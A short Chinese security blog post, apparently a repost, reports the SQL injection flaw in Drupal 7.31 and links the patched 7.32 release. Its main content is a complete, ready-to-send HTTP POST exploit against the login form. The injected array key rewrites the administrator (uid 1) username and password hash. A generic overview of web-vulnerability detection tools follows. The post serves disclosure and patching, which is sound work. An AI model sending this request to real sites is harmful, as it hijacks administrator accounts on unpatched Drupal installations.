Drupal 7.31版本爆严重SQL注入漏洞

今早有国外安全研究人员在Twitter上曝出了Drupal 7.31版本的最新SQL注入漏洞,并给出了利用测试的EXP代码。

在本地搭建Drupal7.31的环境,经过测试,发现该利用代码可成功执行并在数据库中增加一个攻击者自定义的用户。

测试代码:(请勿用于非法用途)

POST /drupal-7.31/?q=node&destination=node HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/drupal-7.31/ Cookie: Drupal.toolbar.collapsed=0; Drupal.tableDrag.showWeight=0; has_js=1 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 231 name[0%20;update+users+set+name%3d'owned'+,+pass+%3d+'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in

本地环境测试效果:

请相关厂商关注,并尽快修复漏洞。

新版下载:

https://www.drupal.org/drupal-7.32

转载于:https://www.cnblogs.com/security4399/p/4028533.html

1. SQL注入漏洞检测: SQL注入是一种针对Web应用程序的攻击技术,通过在Web应用程序中注入SQL命令来实现对数据库的非法访问。SQL注入漏洞检测可以通过在输入参数中注入特定的SQL语句来测试Web应用程序是否容易受到攻击。检测方法包括手动测试和自动化测试工具,例如SQLmap、Netsparker、Acunetix等。 2. XSS漏洞检测: 跨站脚本攻击(XSS)是指攻击者在Web页面中注入恶意脚本,从而窃取用户信息或控制用户浏览器的一种攻击技术。XSS漏洞检测可以通过在输入参数中注入特定的脚本代码来测试Web应用程序是否容易受到攻击。检测方法包括手动测试和自动化测试工具,例如Burp Suite、OWASP ZAP、AppScan等。 3. 端口扫描与服务发现技术: 端口扫描是指通过扫描目标主机上的开放端口来发现网络服务的一种技术。服务发现是指通过端口扫描来发现目标主机上运行的服务和应用程序。常用的端口扫描与服务发现工具包括Nmap、Masscan、Zmap等。 4. CMS技术: CMS(内容管理系统)是一种用于创建、编辑和发布数字内容的软件工具。CMS技术包括网站架构设计、页面模板制作、内容编辑、数据管理等方面。常见的CMS有WordPress、Joomla、Drupal等。CMS的漏洞检测和修补是Web应用程序安全性的重要组成部分。常用的CMS漏洞扫描工具包括WPScan、JoomlaScan、DrupalScan等。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值